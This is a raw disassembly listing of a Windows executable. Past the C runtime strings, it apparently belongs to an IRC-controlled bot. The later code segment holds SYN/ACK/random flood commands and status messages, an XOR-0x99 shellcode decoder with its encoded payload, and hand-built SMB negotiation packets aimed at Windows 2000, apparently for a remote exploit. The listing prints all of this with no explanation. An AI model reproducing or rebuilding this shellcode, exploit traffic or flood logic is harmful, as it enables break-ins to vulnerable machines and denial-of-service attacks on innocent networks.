aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 4
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 4
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 4
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 4
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 10h
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: seg002:off_42E7FCo
db '- floating point not loaded',0Dh,0Ah,0
align 4
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_417C59+119o
align 10h
asc_41CB20 db 0Ah ; DATA XREF: sub_417C59+F1o
db 0Ah,0
align 4
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_417C59+D3o
db 0Ah
db 'Program: ',0
align 10h
a___ db '...',0 ; DATA XREF: sub_417C59+BFo
aProgramNameUnk db '<program name unknown>',0
align 10h
dword_41CB60 dd 0FFFFFFFFh, 4181DDh, 4181E1haSunmontuewedth db 'SunMonTueWedThuFriSat',0
align 4
aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
align 4
aTz db 'TZ',0 ; DATA XREF: seg000:00418B8Co
align 10h
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_4195E1+3Do
align 4
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_4195E1+35o
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_4195E1+24o
a1Qnan db '1#QNAN',0 ; DATA XREF: sub_419DB1:loc_419EA6o
align 4
a1Inf db '1#INF',0 ; DATA XREF: sub_419DB1+D8o
align 10h
a1Ind db '1#IND',0 ; DATA XREF: sub_419DB1+C7o
align 4
a1Snan db '1#SNAN',0 ; DATA XREF: sub_419DB1+ADo
align 10h
dword_41CC00 dd 0FFFFFFFFh, 41A8EFh, 41A8F3h, 0FFFFFFFFh, 41A95Eh, 41A962h
; DATA XREF: seg000:0041A73Do
dd 41CD20h
off_41CC1C dd offset loc_41AE98 ; DATA XREF: sub_41ACA0+4Do
; sub_41AEB4+Co
dd offset sub_41AD5E
dd offset sub_41AE7B
aStringTooLong db 'string too long',0 ; DATA XREF: sub_41ACA0+1Eo
dd offset dword_41CD58
off_41CC3C dd offset loc_41ADC5 ; DATA XREF: sub_41ACFA+4Eo
; sub_41AD88+11o ...
dd offset sub_41AD5E
dd offset sub_41AD6B
dd offset dword_41CDA8
off_41CC4C dd offset loc_41AF80 ; DATA XREF: sub_41AECC+4Do
; sub_41AF9C+Co
dd offset sub_41AD5E
dd offset sub_41AF63
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_41AECC+1Eo
dd offset dword_41CDD8
off_41CC74 dd offset sub_41B004 ; DATA XREF: sub_41B020+8o
; sub_41B05D+8o ...
dd offset sub_41B0BD
aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_41B0BD+7o
align 10h
dd offset dword_41CE20
off_41CC94 dd offset loc_41B0DF ; DATA XREF: sub_41B0CAo
; seg002:off_42EF20o ...
dword_41CC98 dd 0E06D7363h, 1, 2 dup(0) dd 3, 19930520h, 2 dup(0)
off_41CCB8 dd offset off_42EF20 ; DATA XREF: seg001:0041CD08o
; seg001:0041CD3Co ...
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
off_41CCD0 dd offset off_42EF38 ; DATA XREF: seg001:0041CD04o
; seg001:0041CD38o ...
dd 1, 0
dd 0FFFFFFFFh, 2 dup(0)
off_41CCE8 dd offset off_42EF58 ; DATA XREF: seg001:0041CD00o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_41CCE8
dd offset off_41CCD0
dd offset off_41CCB8
dword_41CD0C dd 3 dup(0) dd 3, 41CD00h, 3 dup(0)
dd offset off_42EF58
dd offset dword_41CD0C+4
align 8
dd offset off_41CCD0
dd offset off_41CCB8
dword_41CD40 dd 4 dup(0) dd 2, 41CD38h
dword_41CD58 dd 3 dup(0) dd offset off_42EF38
dd offset dword_41CD40+8
align 10h
off_41CD70 dd offset off_42EF78 ; DATA XREF: seg001:0041CD88o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_41CD70
dd offset off_41CCD0
dd offset off_41CCB8
dd 0
db 0 ; DATA XREF: seg001:0041CDB8o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 3, 41CD88h
dword_41CDA8 dd 3 dup(0) dd offset off_42EF78
dd offset unk_41CD98
dd offset off_41CCB8
dword_41CDC0 dd 4 dup(0) dd 1, 41CDBCh
dword_41CDD8 dd 3 dup(0) dd offset off_42EF20
dd offset dword_41CDC0+8
align 10h
off_41CDF0 dd offset off_42EF98 ; DATA XREF: seg001:0041CE08o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_41CDF0
dword_41CE0C dd 3 dup(0) dd 1, 41CE08h
dword_41CE20 dd 3 dup(0) dd offset off_42EF98
dd offset dword_41CE0C+4
align 8
dword_41CE38 dd 19930520h, 2, 41CE58h, 5 dup(0) dd 0FFFFFFFFh, 41B140h, 0
dd offset sub_41B138
dword_41CE68 dd 19930520h, 2, 41CE88h, 5 dup(0) dd 0FFFFFFFFh, 41B164h, 0
dd offset loc_41B16C
dword_41CE98 dd 19930520h, 2, 41CEB8h, 1, 41CEC8h, 3 dup(0)
; DATA XREF: seg000:loc_41B180o
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 41CEE0h, 4 dup(0)
dd offset loc_4030BE
dd 0
dd offset off_42EF20
dd 0
dd 0FFFFFFFFh, 0
dd 0Ch, 41B05Dh, 2 dup(0)
dd offset off_42EF38
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 41ADE1h, 2 dup(0)
dd offset off_42EF58
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 41AEB4h, 0
dword_41CF50 dd 3, 41CF30h, 41CF10h, 41CEF0hdword_41CF60 dd 0 ; sub_41AE7B+12o
dd offset sub_41AE3E
dd 0
dd offset dword_41CF50
dword_41CF70 dd 19930520h, 1, 41CF90h, 5 dup(0) dd 0FFFFFFFFh, 41B18Ch
dword_41CF98 dd 19930520h, 1, 41CFB8h, 5 dup(0)dword_41CFB8 dd 0FFFFFFFFh, 41B1A0h, 2, 41CF10h, 41CEF0h, 0dword_41CFD0 dd 0 dd offset sub_41AD88
dd 0
dd offset dword_41CFB8+8
dword_41CFE0 dd 19930520h, 1, 41D000h, 5 dup(0) dd 0FFFFFFFFh, 41B1B4h
dword_41D008 dd 19930520h, 1, 41D028h, 5 dup(0) dd 0FFFFFFFFh, 41B1C8h
dword_41D030 dd 19930520h, 1, 41D050h, 5 dup(0) dd 0FFFFFFFFh, 41B1DCh, 0
dd offset off_42EF78
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 41AF9Ch, 0
dword_41D078 dd 3, 41D058h, 41CF10h, 41CEF0hdword_41D088 dd 0 ; sub_41AF63+12o
dd offset sub_41AF26
dd 0
dd offset dword_41D078
dword_41D098 dd 19930520h, 1, 41D0B8h, 5 dup(0) dd 0FFFFFFFFh, 41B1F0h
dword_41D0C0 dd 19930520h, 1, 41D0E0h, 5 dup(0) dd 0FFFFFFFFh, 41B204h, 1D2B8h, 2 dup(0)
dd 1D2FCh, 1C194h, 1D124h, 2 dup(0)
dd 1DA1Ah, 1C000h, 5 dup(0)
dd 0B4E94F73h, 226E7F15h, 389159C5h, 0A65821F4h, 7E14D5C6h
dd 585EC416h, 7B718AF8h, 930F280Eh, 0B17C7B0Eh, 0BB87CE18h
dd 1B88BA66h, 3A9638BCh, 17CBFE63h, 83178701h, 0C8A56CE6h
dd 0E2898E6Dh, 0B63CF79Ah, 0A41FE5AFh, 0E7A25CBFh, 0ABB8E224h
dd 0B2E39DD8h, 82F87C28h, 0D021FAC1h, 0B7E7EA81h, 3F23AAE5h
dd 37D76EC0h, 0DFA7DB58h, 61214CFh, 0AA72259Ah, 7E755FE1h
dd 6782B227h, 0E4C8A4Fh, 5844D848h, 7D625680h, 0E73B90D1h
dd 0F1F515B8h, 8FBFE375h, 7599F058h, 0B308BBFAh, 0D6AA9373h
dd 77E50073h, 0C1A38A3Bh, 67258B79h, 4BA5B0E1h, 0BB2118D3h
dd 6ECEC90Ch, 0B1BEBB69h, 291B9474h, 0C79D1203h, 57DFCCFDh
dd 0AEBA5901h, 0D7F0149Eh, 0B3A81263h, 0F0209555h, 3AEEAD82h
dd 6F29BBDEh, 879CBF24h, 0CB107080h, 914EFB02h, 83A87C02h
dd 9E61822h, 4F9619F1h, 0C3B8353h, 98292B51h, 878BABBDh
dd 8CC85E70h, 0A6ABE91h, 48B5C2F1h, 44F0DB9Bh, 726F19A1h
dd 0D6820579h, 3A728413h, 0AEE44D29h, 23DF95B3h, 2DD178E9h
dd 0AA5D9A97h, 245B8B70h, 33114E17h, 1603F486h, 0B5602F4Ah
dd 836F1ED8h, 25472ACBh, 56C585A8h, 517DC4CEh, 4172821Bh
dd 9F4EA83Dh, 60D4A1FAh, 393AC44Fh, 0D168CC29h, 3145CA70h
dd 0AB8A4DC2h, 0B5CFADDCh, 17E543C0h, 52931967h, 9F2F2C4Ah
dd 0DD881AAFh, 2EF09775h, 0AAA84AA8h, 0CAB57102h, 0BCD88A4Bh
dd 0
dd 19DB7892h, 54DEC69Eh, 0B3C4E631h, 4A251936h, 4EAF1DEBh
dd 0A4538EEh, 0FC5A1235h, 0F880CA26h, 4160F604h, 0E58B614Eh
dd 0F4D5B3F1h, 21376B4Ch, 1066C266h, 65956DEEh, 371350CFh
dd 90BC916Fh, 0
dd 0EF8A03BCh, 0FDB9E29Fh, 7F8h, 0D00E007Eh, 0CC25C1C7h
dd 5C6A3CEDh, 16D0000h, 40526980h, 5864230h, 0AE7CAC03h
dd 2060000h, 1FC89BFh, 2BFD6FFDh, 9266B254h, 0E34AC3F5h
dd 0D17F459h, 0BE22E8h, 0C14A0207h, 0CC7AA183h, 861C25Bh
dd 70B01F4Ah, 70D26B92h, 31171EB9h, 89AF34h, 1B440296h
dd 0D124F0h, 6D000124h, 90932F03h, 17784A40h, 3908C1F7h
dd 4578E497h, 16E0000h, 0E14A58C6h, 7B1B72B5h, 9329A4B1h
dd 0B9A7h, 934B00FBh, 0F522AE30h, 0B67B7E85h, 32331D70h
dd 11A0000h, 1AD81975h, 0EE2046CCh, 696FCAABh, 4A0000h
dd 28F46E03h, 0B20E551Bh, 0E95D8ED2h, 1B0000h, 556D03DBh
dd 0DEFA121Fh, 7ECD4Dh, 11780112h, 0E38F7FC4h, 7402B56Bh
dd 3400B4h, 66C58F41h, 23421877h, 0B04F91h, 4BF5010Dh
dd 898FC898h, 8D09DC6Dh, 44C179EDh, 0ECC3E3C2h, 900000h
dd 0E8896841h, 0BE9A069Dh, 8A0046h, 7B711FADh, 0F73C171Eh
dd 0F3A591EFh, 9A943884h, 908BD0E5h, 890000h, 0DCC7532Bh
dd 0F3DB50C2h, 0BD28A7EFh, 2903662Ch, 0E3EC581Dh, 7163F9h
dd 6AE5009Dh, 34693C8Ah, 0D7983798h, 3ED5D0h, 0EE000094h
dd 6C792961h, 6A7B0C69h, 0C026DB16h, 2180000h, 0B9D50ED1h
dd 965BEA71h, 26A0000h, 0AC2A0A62h, 0A05454FEh, 23680838h
dd 1BCEh, 906B01C1h, 4EAAA775h, 0AEE737B2h, 9E97DCB2h
dd 6E6FBC1Fh, 32Eh, 83930066h, 50966A7Ch, 235B38B0h, 6D047FD7h
dd 312EB99Fh, 3282h, 3DCF01ABh, 5875FD2h, 0B4DCAFA6h, 0F1183EC7h
dd 0D323FE8Eh, 271AC9D0h, 0BDE3895Bh, 0AD227BCEh, 6E2471DDh
dd 0B03838h, 0D00D0055h, 516C9A81h, 0FD164F2Ah, 3FA6C64Bh
dd 0AC7CA699h, 0FCDD64h, 60FD01C2h, 5411CBEh, 0EA92D2C3h
dd 6C80h, 2D56013Eh, 0A478CF95h, 0D3429EB9h, 0F80F2F0Bh
dd 1260000h, 0ABA46628h, 8C7CD38Eh, 0D4AE70B8h, 0C07CE1EBh
dd 0AF0000h, 0E59504Fh, 990DE2A0h, 0DD081A83h, 0F613h
dd 152E0193h, 7689A67Ah, 54A972E1h, 66F1h, 0A0EE018Ch
dd 0B31A064Ah, 0FDFAC186h, 2B00000h, 4B7D75A7h, 1FA350BFh
dd 6D8F78D2h, 621B22h, 159B01D6h, 0FDF33C8Ah, 0F64A848Eh
dd 0AC586Ch, 0B3B20035h, 0FBB9B690h, 2434ADCEh, 0F469540Dh
dd 38A5A8DEh, 26C0000h, 4DB07C30h, 999540ADh, 0B23EC8h
dd 0C2AF0114h, 99D18FE9h, 84CA3A4Ah, 440014h, 0BB8006DBh
dd 5D96B4DCh, 8DA58926h, 30A8h, 0ED400080h, 0AA4A014Ch
dd 2A3756D2h, 0A4F025Ah, 6AB421E2h, 0CAFB5801h, 24FA05h
dd 81DA0268h, 6D7E12FCh, 0AC9A6C73h, 0F2BAF26Dh, 0FEE1AA6Eh
dd 2DF0000h, 0D874427h, 90E5BB48h, 1650077h, 0F6BE104Ch
dd 0C51F4998h, 0EFF2E48Ah, 1750000h, 0B259903Dh, 0D63EBB40h
dd 3700726Eh, 18D0060h, 378C0EB7h, 0BC99D782h, 94B3BEBDh
dd 0A04502CEh, 81CFh, 56050159h, 0D18C1247h, 3E57A45Eh
dd 324553AAh, 0DDD731F7h, 11B0008h, 0AE3B1406h, 2B178101h
dd 83A43924h, 7D0000h, 1D7BEAF1h, 2DDC2238h, 0B40736h
dd 0DCAD0057h, 0D5181640h, 7D10B86Ch, 1EF0012h, 11EA3C8h
dd 37804A6Dh, 1692FAh, 43D200F8h, 16345C1Ch, 3C56DFC1h
dd 0AFD827D9h, 0C9F41C75h, 280025h, 73C93B77h, 0B317317Fh
dd 2CE009Ch, 0C6DF0A82h, 2FFC3CB4h, 229D99D6h, 7AFBFAB7h
dd 0B9B6F2h, 8263003Fh, 0C8844D6h, 63F79635h, 20D8h, 35DE029Fh
dd 15B1D078h, 0D7B58047h, 0C367FB71h, 1DD0054h, 0BBBC980Dh
dd 82C43F2h, 2D200C5h, 4BCFDCD5h, 0A8C1BA59h, 0EFE63ADAh
dd 7920C5ADh, 46DB0Eh, 626101E4h, 0E17B19DBh, 3D79BA5Ah
dd 0A8A46861h, 3B3C9C8Fh, 0CE0065h, 4434A5F6h, 101E77B0h
dd 8F888FDCh, 89DC9BD7h, 0F70000h, 0C20EA61Ch, 512F02C8h
dd 9D90ABFCh, 87C2962Fh, 29E0099h, 6240622Dh, 43C8509Dh
dd 51B57BD3h, 2FB13463h, 11C0000h, 29896834h, 0A0B84AD5h
dd 0F8C396D5h, 7712h, 92960199h, 0B6ABA6Bh, 5B4820h, 0A8CF019Fh
dd 61DD2165h, 368Fh, 0DA54022Fh, 0C61B40DCh, 791816h, 3E760170h
dd 92DB8C5Ch, 188D6BDDh, 0B1A4A025h, 6F50C19Dh, 0A5EE89EFh
dd 15D0000h, 11C28F1Fh, 0BF486710h, 65451280h, 1A20057h
dd 211757E9h, 0ECD238EEh, 9026AEh, 0F88A0150h, 38ADF071h
dd 8FFE1FA8h, 0B3FC4077h, 0CA0034h, 690A8DADh, 54992D06h
dd 9A43BBE1h, 0B941C7h, 762D0174h, 8B9FFBEFh, 616F8745h
dd 19D0000h, 0F77BB328h, 7B71863Ah, 3F4297h, 3C93019Bh
dd 0FA5B20B0h, 0D624C813h, 2BF0000h, 5BD98C37h, 0B7639E94h
dd 865B8Dh, 1FDD02BBh, 0E3251ADEh, 59AA2A63h, 0B361h, 742B01B8h
dd 0BA2F9524h, 38EB21ABh, 0D1A7ACh, 0E24C020Bh, 66A36671h
dd 7FEB9BD8h, 317515EFh, 1A30000h, 831D9529h, 0E0210F04h
dd 1BF0000h, 5FAB16EBh, 705E28B0h, 6C74735Ah, 1C00000h
dd 19E68998h, 0BF1F88DFh, 0D0A17047h, 0BF0000h, 0EBB3A24Ch
dd 357BB524h, 0B90097h, 0A8D09766h, 7FB4h, 39750131h, 7D813DB0h
dd 1438h, 0F3BE02ADh, 3D748F3Fh, 3B3614BCh, 57BB8249h
dd 0E85801D9h, 60B06568h, 4120h, 0F83B00B2h, 3205ECC5h
dd 60A2B351h, 0E962BEDh, 67A575F9h, 0BC2F22E7h, 0B30002h
dd 0AA2EA22h, 844E4F86h, 98E27E34h, 579EACC2h, 3D3B45A3h
dd 408E31h, 66A60106h, 381B153Bh, 0ADBB2ABAh, 0C6F27789h
dd 473ED513h, 73361h, 8C5F0108h, 0BA0B1833h, 5F1E5BDFh
dd 0BA49251Ch, 5EA56F5h, 0D561137h, 26D0000h, 4EDA820Fh
dd 40BF747Eh, 111A3E1Ch, 8C47h, 6C430152h, 2477D8C4h, 0B1F2C032h
dd 51B8h, 9D420115h, 2EAA2CD4h, 5227B88Fh, 15300D8h, 4A94A488h
dd 0B2997E5Bh, 1A8C549Ah, 3AA4h, 0B4100156h, 24602B6Dh
dd 0B38D685Ch, 6E03A671h, 28B0000h, 0DD45854Ah, 603BF634h
dd 1FEC55B0h, 8BF03DF6h, 0A315506Eh, 0FA6F0AA2h, 0B46DF0h
dd 38B701B5h, 1198A1D7h, 549086CEh, 4DDDh, 8CF701B2h, 0AAD0CD58h
dd 0FBD818B0h, 0A0CEh, 0E8A027Ch, 5E7754FCh, 3498B9F0h
dd 0E96h, 0A79200AAh, 2B09C9Eh, 0A2E89479h, 5D1B7D95h
dd 1A18h, 8E770261h, 10EE8BFEh, 8D2D6280h, 7FD3h, 0C5B00021h
dd 7613D3B3h, 0A2C499EDh, 2091ADF0h, 220000h, 6C460352h
dd 4872F60Eh, 5E49B40Bh, 0A4A1h, 0C90B0262h, 21F35B5Ah
dd 927BCED7h, 9708C13Eh, 468B87FEh, 0F60D4F29h, 5BCB0053h
dd 0B1ED4CC7h, 99441C75h, 9322h, 176h dup(0)
seg001 ends
; Section 3. (virtual address 0001E000)
; Virtual size : 00043000 ( 274432.)
; Section size in file : 00043000 ( 274432.)
; Offset to raw data for section: 0001E000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
seg002 segment para public 'CODE' use32
assume cs:seg002
;org 41E000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dd 0
dd offset sub_40316C
dd offset sub_41AFB4
dd 2 dup(0)
dd offset sub_411692
dd offset sub_4171A7
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 7Fh, 41h, 0
dd offset loc_418962
align 8
dword_41E028 dd 0 dd offset loc_418068
dword_41E030 dd 0 dword_41E034 dd 0 dd offset loc_418973
dword_41E03C dd 0 unk_41E040 db 2 ; DATA XREF: sub_401000+5Bo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 64h, 6Fh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDoneWithFloodI db ' Done with flood (%iKB/sec).',0
align 4
db 2
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 64h, 6Fh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSendErrorD_ db ' Send error: <%d>.',0
align 10h
aDdos_random db 'ddos.random',0 ; DATA XREF: seg000:loc_4011DEo
aDdos_ack db 'ddos.ack',0 ; DATA XREF: seg000:loc_4011C2o
align 4
aDdos_syn db 'ddos.syn',0 ; DATA XREF: seg000:004011A3o
align 4
db 2
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 20h
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aDoneWithSFlood db 'Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%dMB'
db ').',0
db 2
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 20h
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aErrorSendingPa db 'Error sending packets to IP: %s. Packets sent: %d. Returned: <%d>'
db '.',0
align 4
db 2
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 20h
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aInvalidTargetI db 'Invalid target IP.',0
align 10h
unk_41E1D0 db 2 ; DATA XREF: seg000:00401509o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 20h
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aErrorSetsockop db 'Error: setsockopt() failed, returned: <%d>.',0
unk_41E21C db 2 ; DATA XREF: seg000:00401490o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 20h
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aErrorSocketFai db 'Error: socket() failed, returned: <%d>.',0
dword_41E264 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
; DATA XREF: sub_40182E+48o
dd 2029206Ch, 2BBBB02h
aDoneWithFloo_0 db ' Done with flood (%iKB/sec).',0
align 10h
dword_41E2A0 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
; DATA XREF: seg000:00401B47o
dd 2029206Ch, 2BBBB02h
aSendErrorD__0 db ' Send error: <%d>.',0
dword_41E2D0 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: seg000:004020C1o
dd 2029206Ch, 2BBBB02h
aDoneWithSFlo_0 db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
db 'MB).',0
align 4
dword_41E334 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: seg000:00402025o
dd 2029206Ch, 2BBBB02h
aErrorSending_0 db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
db 'd>.',0
align 4
aRandom db 'random',0 ; DATA XREF: seg000:00401EE8o
; seg000:0040B618o ...
align 10h
aAck db 'ack',0 ; DATA XREF: seg000:00401EC8o
; seg000:0040B601o
aSyn db 'syn',0 ; DATA XREF: seg000:00401EA8o
; seg000:0040B5E9o
dword_41E3A8 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: seg000:00401D35o
dd 2029206Ch, 2BBBB02h
aInvalidTarge_0 db ' Invalid target IP.',0
align 4
dword_41E3DC dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: seg000:00401CC4o
dd 2029206Ch, 2BBBB02h
aErrorSetsock_0 db ' Error: setsockopt() failed, returned: <%d>.',0
align 4
dword_41E428 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: seg000:00401C46o
dd 2029206Ch, 2BBBB02h, 72452020h, 3A726F72h, 636F7320h
dd 2874656Bh, 61662029h, 64656C69h, 6572202Ch, 6E727574h
dd 203A6465h, 3E64253Ch, 2Eh, 4B5B10EBh, 0B966C933h, 34800125h
dd 0FAE2990Bh, 0EBE805EBh, 70FFFFFFh, 99999962h, 0A938FDC6h
dd 12999999h, 0E91295D9h, 0F1123485h, 0F36E1291h, 271C09Dh
dd 7B999999h, 0ABAAF160h, 0EEF19999h, 0CDC6ABEAh, 71128F66h
dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
dd 0F1989999h, 4B9D999Bh, 89F35512h, 0CF66CAC8h, 0EC591C81h
dd 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h, 7B32C08Ch
dd 0BDDD5F64h, 0DD67DD89h, 0C510A4BDh, 0C510D1BDh, 0C510D5BDh
dd 0DD14C9BDh, 0C9CD89BDh, 0F3C8C8C8h, 66C8C898h, 66C8A9EFh
dd 55129DCFh, 0A86666F3h, 0CA91CF66h, 6685CF66h, 0CFC895CFh
dd 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h, 34D8D050h
dd 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h, 0A26872D9h
dd 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h, 9D12449Ah
dd 325C9A12h, 715AC0C7h, 66666699h, 7597D717h, 8F2A67EBh
dd 579C4034h, 0F9795776h, 0A2657452h, 346C9040h, 0F9336075h
dd 0E05FE07Eh, 0
; ---------------------------------------------------------------------------
jmp short loc_41E5C2
; =============== S U B R O U T I N E =======================================
sub_41E5B2 proc near ; CODE XREF: sub_41E5B2:loc_41E5C2p
pop edx
dec edx
xor ecx, ecx
mov cx, 17Dh
loc_41E5BA: ; CODE XREF: sub_41E5B2+Cj
xor byte ptr [edx+ecx], 99h
loop loc_41E5BA
jmp short loc_41E5C7
; ---------------------------------------------------------------------------
loc_41E5C2: ; CODE XREF: seg002:0041E5B0j
call sub_41E5B2
loc_41E5C7: ; CODE XREF: sub_41E5B2+Ej
jo short near ptr dword_41E428+136h
cwde
cdq
cdq
retn
sub_41E5B2 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0FDh, 38h, 0A9h
dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h
dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h
dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
dd 999B9E5Eh, 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh
dd 6DCE66CAh, 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh
dd 9D10C089h, 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh
dd 0DE149898h, 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh
dd 1499FDF4h, 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h
dd 0AA7DCE66h, 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h
dd 5A59AA77h, 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h
dd 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh
dd 0CDEDF0E1h, 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh
dd 0EE99D8E0h, 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h
dd 0F7F0FB99h, 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh
dd 0EAF6F5FAh, 0FAF6EAFCh, 99EDFCF2h, 0
dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
dd 0FEFF0000h, 0
dd 2006200h, 4E204350h, 4F575445h, 50204B52h, 52474F52h
dd 31204D41h, 200302Eh, 4D4E414Ch, 2E314E41h, 57020030h
dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h
dd 2E332073h, 2006131h, 2E314D4Ch, 30305832h, 4C020032h
dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h
dd 0
dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows2000219:
unicode 0, <Windows 2000 2195>,0
aWindows20005_0:
unicode 0, <Windows 2000 5.0>,0
align 4
dd 0
